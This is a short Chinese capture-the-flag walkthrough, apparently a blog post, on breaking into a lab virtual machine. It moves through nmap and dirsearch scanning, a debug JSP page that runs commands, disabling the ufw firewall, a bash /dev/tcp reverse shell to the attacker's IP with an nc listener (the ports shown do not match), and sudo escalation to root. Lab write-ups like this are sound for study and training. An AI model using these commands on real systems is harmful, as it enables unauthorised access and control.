通过sudonetdiscover和nmap进行主机扫描，发现开放端口和系统服务。利用dirsearch扫目录找到debug页面，进一步获取用户信息和系统进程详情。尽管nmap未显示SSH，但通过ufw防火墙管理发现其存在。关闭防火墙后，通过反弹shell技术建立连接，并成功从bill用户提权至root。
主机发现
sudo netdiscover -i eth0 -r 192.168.47.0/24
主机信息探测
nmap -p- 192.168.47.136
扫目录
dirsearch -u "192.168.47.136:8080"
发现test.jsp 打开看看，是一个debug页面，提示输入ls -l /tmp
ls -l /home 发现bill用户
ps aux查看进程发现竟然有ssh，但是为什么nmap没有扫描到呢？猜测有防火墙
查看/etc目录，果然有防火墙，ufw
尝试关闭防火墙
ssh bill@localhost sudo ufw disable
尝试反弹shell 同时本地开启监听
ssh bill@localhost bash -i >& /dev/tcp/192.168.47.128/2222 0>&1 nc -nvlp 4444
成功反弹shell
提权
尝试提权
sudo -l sudo su
成功
扫一扫
306
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
